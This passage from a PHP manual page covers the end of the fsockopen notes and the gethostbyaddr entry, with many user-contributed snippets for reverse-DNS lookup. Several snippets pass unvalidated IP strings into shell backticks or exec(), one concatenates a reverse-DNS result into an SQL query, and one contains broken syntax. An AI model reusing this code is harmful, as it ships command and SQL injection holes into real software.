    fputs ($fp, "GET $doc HTTP/1.0\r\nHost: " . $url. "\r\n\r\n");
    while (!feof($fp)) {
        $httpresult = fgets ($fp,1024);
    }
    fclose ($fp);
}

if (isset($httpresult))
{
    echo "Ud. estï¿½ accediendo desde: <b>$httpresult</b>";
}
?>
****************************************

NOTE: I had to modify the code provided by ip-to-country in its own Tools section because is buggy.
Sherif Gayed 29-Jan-2003 10:00
Here is how to connect to the web from behind a proxy server:

<?php
/*************start code**************/
/*your proxy server address*/
$proxy = "192.168.10.1";
/*your proxy server port*/
$port = 8080;
/*the url you want to connect to*/
$url = "http://www.php.net/";
$fp = fsockopen($proxy, $port);
fputs($fp, "GET $url HTTP/1.0\r\nHost: $proxy\r\n\r\n");
while(!feof($fp)){
  $line = fgets($fp, 4000);
  print($line);
}
fclose($fp);
/**************end code**************/
?>
g dot bashi at ntlworld dot com 03-Jan-2003 09:55
The timeout parameter was not supported under windows until PHP 4.3.0, previously it was fixed at 30sec.
dan at lovepond dot com 17-Dec-2002 01:38
Here is some code to help out abit more with the EOF problem.
I had a problem where I needed to strip out so many lines of server input to get back right data i wanted.

<?php
$port=4000;
$host="localhost";
$message="test";
$status=senddata($host,$port,$message);
print "$status";

function senddata($host,$port,$message) {

#takes in account servers that do not return EOF character
#send data to server and get back input

#function globals
$linenumber="2"; #amount of lines to get rid of before we give input
$lineamount="1"; #amount of lines to read after we give input

$fp = fsockopen("$host", $port, $errno, $errstr, 30);
if (!$fp) {
   echo "$errstr ($errno)";
}
else {
   for ($i = 1; $i < $linenumber+1; $i++) {
      fread ($fp,1);
      $bytes_left = socket_get_status($fp);
      if ($bytes_left > 0) { fread($fp, $bytes_left[unread_bytes]); }
   }
   fputs($fp, "$message\r\n");
   for ($i = 1; $i < $lineamount+1; $i++) {
      $status.=fread($fp,1);
      $bytes_left = socket_get_status($fp);
      if ($bytes_left > 0) { $status.=fread($fp, $bytes_left[unread_bytes]); }
   }
   fclose ($fp);
}

return $status;
}

?>
verran at descent-rangers dot com 16-Oct-2002 07:28
I was tearing my hair out for a week trying to figure out how to do this.

If you use fsockopen with a service that doesn't have an EOF, or you try to read beyond EOF or line break, PHP can hang completely.

In my case, I was trying to write a class that talks to Kali servers (www.kali.net) to get a list of people on the chat server. To keep PHP from hanging due to the above, I discovered this:

<?php
    class kali_utils {
        function games_list($kali_server_ip, $kali_server_port) {
            $result = array();
            $fp = fsockopen($kali_server_ip, $kali_server_port, $errno, $error, 30);
            if (!$fp) {
                $result["errno"] = $errno;
                $result["error"] = $error;
            }
            else {
                fputs($fp, "KALIQ");
                $header = fread($fp, 5);
                $bytes_left = socket_get_status($fp);
                if ($bytes_left > 0) {
                    $result["results"] = fread($fp, $bytes_left["unread_bytes"]);
                }
                else {
                    $result["results"] = "";
                }
                fclose($fp);
            }
            return $result;
        }
    }
?>

When I send the request packet, I get a response packet of length 5. Then I call socket_get_status() and use the unread_bytes key from it to know how far to fread from the socket. Works very good.

I've only used this on PHP 4.2.1 so far.
iain at monitormedia dot co dot uk 19-Jul-2002 05:48
Here's how to send an email using SMTP. This includes rudimentary checking on server responses during the process of sending an email. Could be improved by more comprehensive processing of the result codes...or going on to the next mail exchanger when you fail after connecting to the first.

<?php

function another_mail($to,$subject,$headers,$message)
{
 // Could get this from the php ini?
 $from="me@example.com";
 list($me,$mydomain) = split("@",$from);

 // Now look up the mail exchangers for the recipient
 list($user,$domain) = split("@",$to,2);
 if(getmxrr($domain,$mx,$weight) == 0)  return FALSE;

 // Try them in order of lowest weight first
 array_multisort($mx,$weight);
 $success=0;

 foreach($mx as $host) {
  // Open an SMTP connection
  $connection = fsockopen ($host, 25, $errno, $errstr, 1);
  if (!$connection)
    continue;
  $res=fgets($connection,256);
  if(substr($res,0,3) != "220") break;

  // Introduce ourselves
  fputs($connection, "HELO $mydomain\n");
  $res=fgets($connection,256);
  if(substr($res,0,3) != "250") break;

  // Envelope from
  fputs($connection, "MAIL FROM: $from\n");
  $res=fgets($connection,256);
  if(substr($res,0,3) != "250") break;

  // Envelope to
  fputs($connection, "RCPT TO: $to\n");
  $res=fgets($connection,256);
  if(substr($res,0,3) != "250") break;

  // The message
  fputs($connection, "DATA\n");
  $res=fgets($connection,256);
  if(substr($res,0,3) != "354") break;

  // Send To:, From:, Subject:, other headers, blank line, message, and finish
  // with a period on its own line.
  fputs($connection, "To: $to\nFrom: $from\nSubject: $subject\n$headers\n\n$message\n.\n");
  $res=fgets($connection,256);
  if(substr($res,0,3) != "250") break;

  // Say bye bye
  fputs($connection,"QUIT\n");
  $res=fgets($connection,256);
  if(substr($res,0,3) != "221") break;

  // It worked! So break out of the loop which tries all the mail exchangers.
  $success=1;
  break;
 }
 // Debug for if we fall over - uncomment as desired
 // print $success?"Mail sent":"Failure: $res\n";
 if($connection) {
  if($success==0) fputs($connection, "QUIT\n");
  fclose ($connection);
 }
 return $success?TRUE:FALSE;
}

another_mail("recipient@example.com","My Subject","X-mailer: PHP Script\nX-another-header: Whatever","Test email body.\n\nNote if you actually put a period on a line\nby itself, the function will terminate prematurely.\n\nYou will get a partial email sent though.\n");
?>
dns_get_record
gethostbyaddr
Network Functions


Get the Internet host name corresponding to a given IP address

fsockopen
gethostbyname
Network Functions
PHP Manual

gethostbyaddr

(PHP 4, PHP 5)

gethostbyaddr — Get the Internet host name corresponding to a given IP address

Description

string gethostbyaddr ( string $ip_address )

Returns the host name of the Internet host specified by ip_address.

Parameters

ip_address

The host IP address.

Return Values

Returns the host name on success, the unmodified ip_address on failure, or FALSE on malformed input.

Examples

Example #1 A simple gethostbyaddr() example

<?php
$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);

echo $hostname;
?>

See Also

  • gethostbyname() - Get the IPv4 address corresponding to a given Internet host name
  • gethostbynamel() - Get a list of IPv4 addresses corresponding to a given Internet host name

User Contributed Notes

Mark in Sussex 28-Aug-2011 11:21
If you use gethostbyaddr() with a bad IP address then it will send an error message to the error log.
If you don't want your error log file getting too big then first check that the IP address is valid.

In the following example I first check if the IP number starts with a number,
if not then don't use gethostbyaddr('..')

<?php
  $IP = "BadValue.123.123.123";
  if(intval($IP)>0){
    $ServerIP = gethostbyaddr($IP);
  } else {
    $ServerIP = $IP; // A bad address.
  }
?>
contact at muluweb dot net 29-Apr-2011 04:55
If there are several host names for one IP address (many domain names can link to the same physical computer/server), gethostbyaddr() will return a domain name AT RANDOM.

I'm surprised it hasn't been said before.

You can try and see by yourself.

On some shared hosting services, it will not give you any domain name that is registered to that server (fortunately) but a general domain name referring to clusters.

Try it on your own server if it is referred by at least 2 domain names, if you have one.
james at trnxs dot net 12-Jan-2011 12:45
You should be careful in the use of $_SERVER['HTTP_X_FORWARDED_FOR'], as I discovered, once using Amazon AWS's Elastic Load Balancer's, this value may be a comma separated list of IP addresses and will thusly not compare as conceived in almost every example I have seen posted by users in the comments.
dhjdhj at gmail dot com 25-Sep-2010 06:58
I have observed that there are problems with all approaches that use the existence of an IP address to verify that the name being looked up actually exists.

If you're using opendns, then a request to a non-existent server returns an IP address anyway, the address being one for an opendns server. This is process is presumably in place so that errant URLs in browser requests take you to a "legitimate" page, i.e, the openDNS website where they can notify you of a problem.

Unfortunately, that mechanism seems to occur for ANY non-existent hostname. Appending a single period to the hostname does not seem to help.
Norf 08-Sep-2010 10:08
The dns_get_record function seems to avoid timeout problems caused by gethostbyaddr() when looking up no existent records.

Example below.

<?php
function get_host($ip){
        $ptr= implode(".",array_reverse(explode(".",$ip))).".in-addr.arpa";
        $host = dns_get_record($ptr,DNS_PTR);
        if ($host == null) return $ip;
        else return $host[0]['target'];
}

print get_host('192.168.1.5');
?>
Stuart Macdonald 28-Aug-2010 05:07
Here's a simple function that uses Dig to obtain the hostname for a given IP address. If no hostname can be found it returns the IP again.

Works only on linux / unix, or whatever other platform with dig installed as a command line utility.

<?php
    function tryGetHost($ip)
    {
        $string = '';
        exec("dig +short -x $ip 2>&1", $output, $retval);
        if ($retval != 0)
        {
            // there was an error performing the command
        }
        else
        {
            $x=0;
            while ($x < (sizeof($output)))
            {
                $string.= $output[$x];
                $x++;
            }
        }

        if (empty($string))
            $string = $ip;
        else //remove the trailing dot
            $string = substr($string, 0, -1);

        return $string;
    }
?>
tobobant at web dot de 12-Jul-2010 03:08
DNS lookup on Win + Linux:

<?php
/*
 * This function returns the real hostname of an ip address.
 *
 * @param: $ip - the ip address in format x.x.x.x where x are
 *         numbers (0-255) or the hostname you want to lookup
 * @return: returns the hostname as string. Something like 'user-id.isp-dialin.tld'
 *
 * Warning: $ip must be validated before calling this function.
 */
function nslookup($ip) {

        // execute nslookup command
        exec('nslookup '.$ip, $op);

        // php is running on windows machine
        if (substr(php_uname(), 0, 7) == "Windows") {
                return substr($op[3], 6);
        }
        else {
                // on linux nslookup returns 2 diffrent line depending on
                // ip or hostname given for nslookup
                if (strpos($op[4], 'name = ') > 0)
                        return substr($op[4], strpos($op[4], 'name =') + 7, -1);
                else
                        return substr($op[4], strpos($op[4], 'Name:') + 6);
        }
}

// example function call to get hostname of user ip:
echo nslookup($_SERVER['REMOTE_ADDR']);
?>
rhj at rhj dot info 25-Nov-2009 12:27
DNS lookup with timeout on a Mac:

<?php
function dns_timeout($ip)
{
    $res=`nslookup -timeout=2 -retry=1 $ip`;
    if (preg_match('/name = (.*).\n/', $res, $out))
    {
        return $out[1];
    } else
    {
        return $ip;
    }
}
?>
marco[DOT]ceppi[@T]seacrow[DOT]org 01-Nov-2009 07:24
Anonymous has a good point (though I don't agree with pushing to execution to shell unless I have to. However this is a faster example (explode then loop is a little too intensive for a simple check)

<?php
function gethost ($ip)
{
    //Make sure the input is not going to do anything unexpected
    //IPs must be in the form x.x.x.x with each x as a number

    if( preg_match('/^(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]\d|\d)(?:[.]
(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]\d|\d)){3}$/', $ip) )
    {
        $host = `host $ip`;
        return (($host ? end ( explode (' ', $host)) : $ip));
    }
    else
    {
        return false;
    }
}
?>

Though to be honest I would use:

<?php
function gethost ($ip)
{
    return ( preg_match('/^(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]\d|\d)(?:[.]
(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]\d|\d)){3}$/', $ip) ) ? gethostbyaddr($ip) : false;
}
?>
job4sap at gmail dot com 29-Apr-2009 11:27
I have added a file php.ini in the same directory with the entries I use for other scripts. I think that the first one does the trick and solved the problem.

register_globals = on
session.bug_compat_42 = off
session.bug_compat_warn = off
Anonymous 02-Apr-2009 11:39
The use of the shell command to speed things up seems to work very well, but I would suggest one thing: you ARE executing a shell command, so it would seem to be a good idea to be absolutely sure of your input. Something like this perhaps:

<?php
function gethost ($ip)
{
 //Make sure the input is not going to do anything unexpected
 //IPs must be in the form x.x.x.x with each x as a number
 $testar = explode('.',$ip);
 if (count($testar)!=4)
  return $ip;
 for ($i=0;$i<4;++$i)
  if (!is_numeric($testar[$i]))
   return $ip;

 $host = `host $ip`;
 return (($host ? end ( explode (' ', $host)) : $ip));
}
?>
Anonymous 13-Feb-2009 02:07
Just wanted to let everyone know that gethostbyaddr() takes more than 20 seconds to respond if the IP address is not listed in DNS.

So be careful if you are going to use this function in the production environment. You or your users may not be able to get the response from the server before the timeout occurs. Slow website only makes people very frustrated.

You shouldn't use this function at all unless you have a very good reason to do so (taking logs? then save ip addresses instead and resolve them later by running a batch or something.)
webmaster at askapache dot com 22-Oct-2008 01:57
Here is a simple function I compiled from user-notes that works great.. any improvements?

<?php
function get_ip( $host ){
  $hostip = @gethostbyname( $host );
  $ip = ( $hostip == $host ) ? $host : long2ip( ip2long( $hostip ) );
  //echo sprintf("Resolved %s to %s", $host, $ip);
  return $ip;
}
?>
robbakAgmail_com 05-Jun-2008 11:19
it appears that gethostbyname() fails if the domain name contains unicode. Example:

 $ host 10.10.10.128
128.10.10.10.in-addr.arpa domain name pointer PC-de-S\130bastien.flexi.robbak.com.
 $ php
<?php echo gethostbyaddr( '10.10.10.128' ); ?>
10.10.10.128

gethostbyaddr is listed as unicode compatable in version 6, so a fix may be in the works.
ab5602 at php dot net 28-Jan-2008 04:39
gethostbyaddr() will not resolve an IP under Solaris for hosts that do not both forward and reverse to the same address.  This is built-in Solaris behavior, not a bug in PHP.
billyblue 17-Dec-2007 08:12
I just spent a dickens of a time trying to figure out why my gethostbyaddr's were simply failing halfway through.

I'm returning a log of page visits, and with each new IP, I wanted to pull the hostname of the IP. On each report page, I'm pulling 500 lines from my Db, but only maybe 25 IPs on average. Sometimes this report would generate in under 15 seconds, other times it would fail with a connection reset.

It turns out that several of the IPs in my Db looked like this: x.255.x.x. gethostbyaddr really hates that and simply dies when it reaches one of these IPs.

For my case, I purged the Db and prevented the logging of IPs that contain 255.
CanYouFlyBilly 17-Apr-2006 02:08
Just wanted to contribute for the solaris folks out there that don't have "host" installed.  This will return the resolved named of the specified ip address if it exist.

NOTE: The " " in the explode statement should be a tab character. explode was used instead of preg_split in order to eliminate regular expression overhead.

<?
function gethost($ipaddress)
{
   $host = trim( `getent hosts $ipaddress` );
   $host=explode(" ",$host);
   if(isset($host[1])) return $host[1];
   else return "";
}
?>
oryan at zareste dot com 28-Feb-2006 03:17
If all else fails, but you have shell access, Unix/Linux servers can use this for a timeout response:

shell_exec('host -W 2 0.0.0.0');

Where 0.0.0.0 is of course the IP, and '2' is the number of seconds for the timeout.  This returns a more detailed string of info, with some additional text which might vary depending on the system, so if you want a string with the hostname and nothing else, you'll have to do some substring cutting.  There should be an equivalent of 'host' for Windows users to execute, but it isn't my platform.
Rathann 26-Feb-2006 09:51
While writing a script to verify IP<->hostname loops, I sorely missed the "list" version of gethostbyaddr (similar to gethostbynamel()) and since dns_get_record is a bit too complex for that task alone, I've written a simple wrapper that should behave like gethostbynamel():

function gethostbyaddrl($ip) {
    $rrs=dns_get_record(implode('.',array_reverse(explode('.', $ip))).'.in-addr.arpa.',DNS_PTR);
    $revnames=array();
    foreach($rrs as $rr) $revnames[]=$rr['target'];
    return (count($revnames)) ? $revnames : FALSE;
}

Hopefully it'll be of use to someone else, too.
respaldod at gmail dot com 22-Nov-2005 10:28
There is a small flaw in the timeout implementation of King Macro's very useful sockets-based function gethostbyaddr_timeout() below.

The parameters for socket_set_timeout, an alias for stream_set_timeout(), are like this:
( resource stream, int seconds [, int microseconds] )

So if you want to use his parameters, and assuming the $timeout param should be in milliseconds, you could first convert to microseconds

$timeout *= 1000;

And then change the socket_set_timeout so you have seconds and microseconds along these lines:

@socket_set_timeout($handle, floor($timeout/1000000), $timeout%1000000);
tom 07-Oct-2005 01:14
Be careful with the usage of this function - it will slow down a server to a crawl if called a lot and the slowness won't be reflected in any of the obvious places, like CPU usage, apache requests, SQL etc. When you do use it make a special note of where!
reinhard at ess dot co dot at 12-Apr-2005 02:27
tried out some of the examples below, but no one worked for me.
(
"host" returns something if domain-name wasn't found
"gethostbyaddr" has a too long  timeout when it fails
"the udp-example" returns some strange characters...
)
so i have changed the "host"-example a little bit. hope someone can need it. (maybe with little changes like without error-description)

<?
function gethost($ip)
{
   $host = `host $ip`;
   $host=end(explode(' ',$host));
   $host=substr($host,0,strlen($host)-2);
   $chk=split("\(",$host);
   if($chk[1]) return $ip." (".$chk[1].")";
   else return $host;
}
?>
king dot macro at gmail dot com 26-Oct-2004 07:28
The problem of broken DNS servers was causing me a problem because i had a page for user statistics that required around 20 reverse dns lookups to be done, and even as many as 5/6 of them being broken was causing a huge delay in loading the page. so i wrote a function that uses a UDP socket to talk directly to the DNS server (instead of going via the normal gethostbyaddr function) this let me set a timeout.

The only requirement is that your DNS server must be able to do recursive lookups, it wont go to other DNS servers if its told to... and of course you need to know your DNS servers IP address :-)

<?
function gethostbyaddr_timeout($ip, $dns, $timeout=1000)
{
    // random transaction number (for routers etc to get the reply back)
    $data = rand(0, 99);
    // trim it to 2 bytes
    $data = substr($data, 0, 2);
    // request header
    $data .= "\1\0\0\1\0\0\0\0\0\0";
    // split IP up
    $bits = explode(".", $ip);
    // error checking
    if (count($bits) != 4) return "ERROR";
    // there is probably a better way to do this bit...
    // loop through each segment
    for ($x=3; $x>=0; $x--)
    {
        // needs a byte to indicate the length of each segment of the request
        switch (strlen($bits[$x]))
        {
            case 1: // 1 byte long segment
                $data .= "\1"; break;
            case 2: // 2 byte long segment
                $data .= "\2"; break;
            case 3: // 3 byte long segment
                $data .= "\3"; break;
            default: // segment is too big, invalid IP
                return "INVALID";
        }
        // and the segment itself
        $data .= $bits[$x];
    }
    // and the final bit of the request
    $data .= "\7in-addr\4arpa\0\0\x0C\0\1";
    // create UDP socket
    $handle = @fsockopen("udp://$dns", 53);
    // send our request (and store request size so we can cheat later)
    $requestsize=@fwrite($handle, $data);

    @socket_set_timeout($handle, $timeout - $timeout%1000, $timeout%1000);
    // hope we get a reply
    $response = @fread($handle, 1000);
    @fclose($handle);
    if ($response == "")
        return $ip;
    // find the response type
    $type = @unpack("s", substr($response, $requestsize+2));
    if ($type[1] == 0x0C00)  // answer
    {
        // set up our variables
        $host="";
        $len = 0;
        // set our pointer at the beginning of the hostname
        // uses the request size from earlier rather than work it out
        $position=$requestsize+12;
        // reconstruct hostname
        do
        {
            // get segment size
            $len = unpack("c", substr($response, $position));
            // null terminated string, so length 0 = finished
            if ($len[1] == 0)
                // return the hostname, without the trailing .
                return substr($host, 0, strlen($host) -1);
            // add segment to our host
            $host .= substr($response, $position+1, $len[1]) . ".";
            // move pointer on to the next segment
            $position += $len[1] + 1;
        }
        while ($len != 0);
        // error - return the hostname we constructed (without the . on the end)
        return $ip;
    }
    return $ip;
}
?>

This could be expanded quite a bit and improved but it works and i've seen quite a few people trying various methods to achieve something like this so i decided to post it here. on most servers it should also be more efficient than other methods such as calling nslookup because it doesn't need to run external programs

Note: I'm more a C person than a PHP person, so just ignore it if anything hasn't been done the *recomended* way :-)
MagicalTux at FF.ST 15-Mar-2004 10:58
Note that sometime, people have broken DNS...

I mean that the IP resolve to a domain, but the reverse-resolution don't give the same IP.

I did a local test, putting a PTR record on my dns server to say 192.168.0.1 resolv to php.net . When calling gethostbyaddr, I saw "Your host is php.net" ... So when you log the DNS names, you have two options :
 - Log the IP adresses to prevent fake ips
 - Call gethostbyname on the result and verify that the IP is really the initial IP.

Note that not everyone can do that, only people with control on their own ip classes... Once, on the real net, I got an IP resolving to "PROGRAM". It was obviously a fake record.

Note 2 for windows users : I noticed that some software takes the reverse record as athoritative. It may allow people to do fake DNS entries if you do the reverse dns on your host. The best is to only log IPs. Imagine someone with an host resolving to www.paypal.com. Next time you try to access paypal, you will be redirected to his/her IP without even knowing it. Also faking update servers for antivirus software, or winamp (there was a thread regarding this security problem because of a problem in winamp updater if the remote server was faked) will be concerned.
Matt AKA Junkie 14-Mar-2004 08:29
Going through numerous tests, the following results are concluded:

<?
// If you're using a server on Windows, this is faster
function getisp($ip='') {
   if ($ip=='') $ip = $_SERVER['REMOTE_ADDR'];
   $longisp = @gethostbyaddr($ip);
   $isp = explode('.', $longisp);
   $isp = array_reverse($isp);
   $tmp = $isp[1];
   if (preg_match("/\<(org?|com?|net)\>/i", $tmp)) {
       $myisp = $isp[2].'.'.$isp[1].'.'.$isp[0];
   } else {
       $myisp = $isp[1].'.'.$isp[0];
   }
   if (preg_match("/[0-9]{1,3}\.[0-9]{1,3}/", $myisp))
      return 'ISP lookup failed.';
   return $myisp;
}

// If your server is on a *nix system, this is faster
function gethost ($ip) {
 $host = `host $ip`;
 return (($host ? end ( explode (' ', $host)) : $ip));
}

// be warned, however, that gethost() will issue a warning
// if safe mode is on with the use of backticked variables

?>
webmaster at script-tease dot net 14-Mar-2004 04:37
gethostbyaddr() tends to lag on various systems for whatever reason. Here are two functions that should prove their worth speedwise.

<?php
// For Linux...

function gethost ($ip) {
 $host = `host $ip`;
 return (($host ? end ( explode (' ', $host)) : $ip));
}

// For Win32...

function nslookup ($ip) {
 $host = split('Name:',`nslookup $ip`);
 return ( trim (isset($host[1]) ? str_replace ("\n".'Address:  '.$ip, '', $host[1]) : $ip));
}
?>

Pretty basic, but it should get the job done.
Matt AKA Junkie 29-Feb-2004 04:11
Since my little ISP thing isn't globally acceptable, here's an update.

<?
function getisp($ip='') {
    if ($ip=='') $ip = $_SERVER['REMOTE_ADDR'];
    $longisp = @gethostbyaddr($ip);
    $isp = explode('.', $longisp);
    $isp = array_reverse($isp);
    $tmp = $isp[1];
    if (preg_match("/\<(org?|com?|net)\>/i", $tmp)) {
        $myisp = $isp[2].'.'.$isp[1].'.'.$isp[0];
    } else {
        $myisp = $isp[1].'.'.$isp[0];
    }
    preg_match("/[0-9]{1,3}\.[0-9]{1,3}/", $myisp) ? return 'ISP lookup failed.' : return $myisp;
}
?>
info at widebore dot com 18-Aug-2003 01:49
Some users (a minority) will present IP addresses to the browser which cause problems with gethostbyaddr. I had a complaint from a user today about this.

This gives an error "Warning: Address is not in a.b.c.d form" and if you try to send any headers after this error has been generated, then, naturally, the results are unpleasant on the user's screen.

The simplest way I found to get round this problem which affects less than 1% of users is to put a "@" in front of gethostbyaddr and not lose any more sleep over it :-)
grimNOSPAMtraffic at hotNOSPAMmail dot com 31-Jul-2003 02:31
If you have found the host of the ip, the shortest way to cut it not to display the full hostname to the public would be:

$host = substr($host, strpos($host, ".") + 1);

P.S. strpos() can also be easily used if you want to put "*" for every simbol you ommit, like so:

$os = strpos($host, ".");
$host = substr($host, $os);
$host = str_repeat("*", $os) . $host;

--McTrafik
www.ad-rotator.com 28-Apr-2003 04:06
For ad-rotator.com, we need to do a lot of IP lookups, gethostbyaddr is very easy get timed-out and the script stucks there forever. Here is a fail-safe alternative, 1 sec max for timeout per IP.

function ar_gethostbyaddr($ip) {
  $output = `host -W 1 $ip`;
  if (ereg('.*pointer ([A-Za-z0-9.-]+)\..*',$output,$regs)) {
    return $regs[1];
  }
  return $ip;
}
jz at NOSPAM dot nplu dot kiev dot ua 11-Apr-2003 03:59
Just to fun that gethostbyadd() returns server machine name known in LAN rather then its DNS if I try to call it against my own host (from workstation), whether it would local (behind the proxy) or global (of proxy itself) IP or just loop 127.0.0.1.

And thus you can get LAN names of other workstations by its intranet IPs (I mean smth like 192.168.0.???)

Fun :)
kriek at jonkriek dot com 21-Mar-2003 08:39
In response to god at weaponzero dot f2s dot com: I found this much easier to write.

<?php
    $ip = $_SERVER['REMOTE_ADDR'];
    $fullhost = gethostbyaddr($ip);
    $host = preg_replace("/^[^.]+./", "*.", $fullhost);
?>

IP address <?=$ip?> | Host: <?=$host?>

You can still protect the IP of your visitors and only show the hostname or show them both.
root don't send spam to em411 dot com 07-Feb-2003 10:01
recently, i've encountered a bad experience with this function. while i have yet to find out the root of the problem, i would like to share my experience.

i woke up one morning to find all pages on my server loading very slowly. frontpage load speed is typically .4seconds, and that morning, it was 12seconds. after 24 hours of myisamchk'ing, top / ping / tracert / reboot / service mysqld / httpd restartin'ing, nothing helped. eventually, i tracked the bugger down to the gethostbyaddr function.

the anomaly was that the problem was only happening to ME, and not to my 1-200 users per day.

would love to hear suggestion on why this happened and potential resolutions, if any exist. thank you.
webmaster at 4so9 dot com 25-Dec-2002 10:12
I could never get one host name from this function. I have even tried to turn on "HostnameLookup On" w/o success. I have combined all your your advises into this piece of codes. Any help on this is greatly appreciated.

------
function getRemoteInfo () {
    $proxy="";
    $IP = "";
    if (isSet($_SERVER)) {
        if (isSet($_SERVER["HTTP_X_FORWARDED_FOR"])) {
            $IP = $_SERVER["HTTP_X_FORWARDED_FOR"];
            $proxy  = $_SERVER["REMOTE_ADDR"];
        } elseif (isSet($_SERVER["HTTP_CLIENT_IP"])) {
            $IP = $_SERVER["HTTP_CLIENT_IP"];
        } else {
            $IP = $_SERVER["REMOTE_ADDR"];
        }
    } else {
        if ( getenv( 'HTTP_X_FORWARDED_FOR' ) ) {
            $IP = getenv( 'HTTP_X_FORWARDED_FOR' );
            $proxy = getenv( 'REMOTE_ADDR' );
        } elseif ( getenv( 'HTTP_CLIENT_IP' ) ) {
            $IP = getenv( 'HTTP_CLIENT_IP' );
        } else {
            $IP = getenv( 'REMOTE_ADDR' );
        }
    }
    if (strstr($IP, ',')) {
        $ips = explode(',', $IP);
        $IP = $ips[0];
    }
    $RemoteInfo[0]=$IP;
    $RemoteInfo[1]=@GetHostByAddr($IP);
    $RemoteInfo[2]=$proxy;
    return $RemoteInfo;
}

-------
Thanks,
Steve
lukevb_at_iafrica.com 09-Nov-2002 02:43
Sometimes when using $_SERVER['HTTP_X_FORWARDED_FOR'] OR $_SERVER['REMOTE_ADDR'] more than 1 IP address is returned, for example '155.240.132.261, 196.250.25.120'. When this string is passed as an argument for gethostbyaddr() PHP gives the following error: Warning: Address is not a valid IPv4 or IPv6 address in...

To work around this I use the following code to extract the first IP address from the string and discard the rest. (If you wish to use the other IPs they will be in the other elements of the $ips array).

if (strstr($remoteIP, ', ')) {
    $ips = explode(', ', $remoteIP);
    $remoteIP = $ips[0];
}

Hope this helps someone :)
abe at abe2k dot net 07-Nov-2002 06:32
gethostbyaddr() doesn't seem to be able to resolve ip6.int
(ipv6) adresses, so I made a function that can, and works
just like the normal gethostbyaddr().

You need dig and ipv6calc, dig should come with most
distributions, if not, install bind from http://www.isc.org.
ipv6calc can be found at http://www.bieringer.de/linux/IPv6/ipv6calc/index.html.

 function gethostbyaddr6($ip6) {
  $ipv6calc = "/bin/ipv6calc";
  $dig = "/usr/bin/dig";
  $file = popen($ipv6calc." --in ipv6addr --out revnibbles.int ".escapeshellarg($ip6), r);
  $ip = fread($file, 128);
  pclose($file);
  if ((substr($ip, 0, 5) == "Error") || (!$ip)) return "Address is not a valid IPv6 address";
  $file = popen($dig." ptr ".$ip, r);
   while (!feof ($file)) {
    $buffer = fgets($file, 128);
    if (substr($buffer, 0, 1) == ";") continue;
    $buffer = explode(" ", $buffer);
    if ($buffer[3] == "PTR") {
     $host = substr(trim($buffer[4]), 0, -1);
     pclose($file);
     return $host;
    }
   }
  pclose($file);
  return $ip6;
 }

 echo gethostbyaddr6($_SERVER[REMOTE_ADDR]);
ameoba32 at mail dot ru 01-Nov-2002 04:29
DNS lookup with timeout

function dns_timeout($ip) {
 $res=`nslookup -timeout=3 -retry=1 $ip`;
 if (preg_match('/\nName:(.*)\n/', $res, $out)) {
   return trim($out[1]);
 } else {
   return $ip;
 }
}
dominique at vdx dot nl 30-Sep-2002 05:14
To convert an IP to a numeric value, just use the ip2long (...) function.

Vice versa; use: long2ip (...)
pulstar at mail dot com 20-Sep-2002 02:59
If you need to store an IP addresses in a database, you can convert and store it in an INT type column (4 bytes). The functions below can convert IP addresses to its integer decimal value and vice-versa.

function ip2dec($ipaddr) {
  $base=explode(".",$ipaddr);
  $decimal=(double) $base[0]*16777216;
  $decimal+=$base[1]*65536;
  $decimal+=$base[2]*256;
  $decimal+=$base[3];
  if($decimal>2147483647) {
    $decimal-=4294967296;
  }
  return (int) $decimal;
}

function dec2ip($dec) {
  if($dec<0) {
    $dec=(double) 4294967296+$dec;
  }
  if($dec>16777215) {
    $ip=$dec-(intval($dec/256)*256);
    $dec=(double) intval($dec/256);
  } else $ip="0";
  if($dec>65535) {
    $ip=($dec-(intval($dec/256)*256)).".".$ip;
    $dec=(double) intval($dec/256);
  } else $ip="0.".$ip;
  if($dec>255) {
    $ip=($dec-(intval($dec/256)*256)).".".$ip;
    $dec=(double) intval($dec/256);
  } else $ip="0.".$ip;
  $ip=$dec.".".$ip;
  return (string) $ip;
}
alexey at ozerov dot de 15-Sep-2002 10:15
This function seems to be very slow on IIS 4.0 Server (Win32). I use system call to NSLOOKUP instead to get PC-Hostname:

unset ($execoutput);
exec ("nslookup $IPAdresse 2>nul",$execoutput,$nslookstatus);
if (isset ($execoutput[3]) && ereg ("^Name: *([A-Za-z0-9]{2,})\.",$execoutput[3],$regs))
$nslookname=strtoupper($regs[1]);
else $nslookname="Unknown";

Note by members: This is not portable to Windows platforms. so you would be better to stay with our function.
stephane at metacites dot net 10-Sep-2002 07:17
gethostbyaddr_with_cache()

As someone truely said upper in the forum, some unresolved addresses may slow down your script to the point it times out.

Althought I had thought gethostbyaddr() would use some kind of cache, it doesn't seem to when the IP is unresolved (at least on my win machine).

So, I've coded a little gethostbyaddr_with_cache() function that will greatly speed your page if you have many gethostbyaddr() to perform on the same page.

function gethostbyaddr_with_cache($a) {
  global $dns_cache;
  if ($dns_cache[$a]) {
    return $dns_cache[$a];
    } else {
    $temp = gethostbyaddr($a);
    $dns_cache[$a] = $temp;
    return $temp;
  }
    }
inny at core dot fetchnet dot org 10-Aug-2002 09:58
Turning on the HostnameLookup function on in the apache configuration file will severely increase the loading times of all the pages serviced by the httpd-server.
It's mostly a better idea to just use gethostbyaddr($REMOTE_ADDR); instead of $REMOTE_HOST if you turned HostnameLookups On, unless you want the hostnames specified in apache's log file...
ven at PragaKhan dot com 16-Jul-2002 03:55
$REMOTE_HOST or $_SERVER['REMOTE_HOST'] will give you the reversed ip IF apache is setup to do hostname lookups.

HostnameLookups On
elpmille at indiana dot edu 30-May-2002 12:26
I previously used something very similar to what god@weaponzero.f2s.com posted but found it to be quite tedious for getting the 'nicehost'. This method below is a lot cleaner, and it also works for numeric addresses.

function nicehost($host) {
    if (ereg('^([0-9]{1,3}\.){3}[0-9]{1,3}$', $host)) {
        return(ereg_replace('\.[0-9]{1,3}$', '.*', $host));
    } else {
        return(ereg_replace('^.{' . strpos($host, '.') . '}', '*', $host));
    }
}
nothanks at nospam dot com 16-May-2002 03:30
This is also very useful if you'd like to ban these annoying people that keep spamming your forums. It requires a clever use of mySql but can be great:

First, make a table for the bans, then make the query:

"SELECT banReason from tBans where '". gethostbyaddr($REMOTE_ADDR) ."' LIKE banMask"

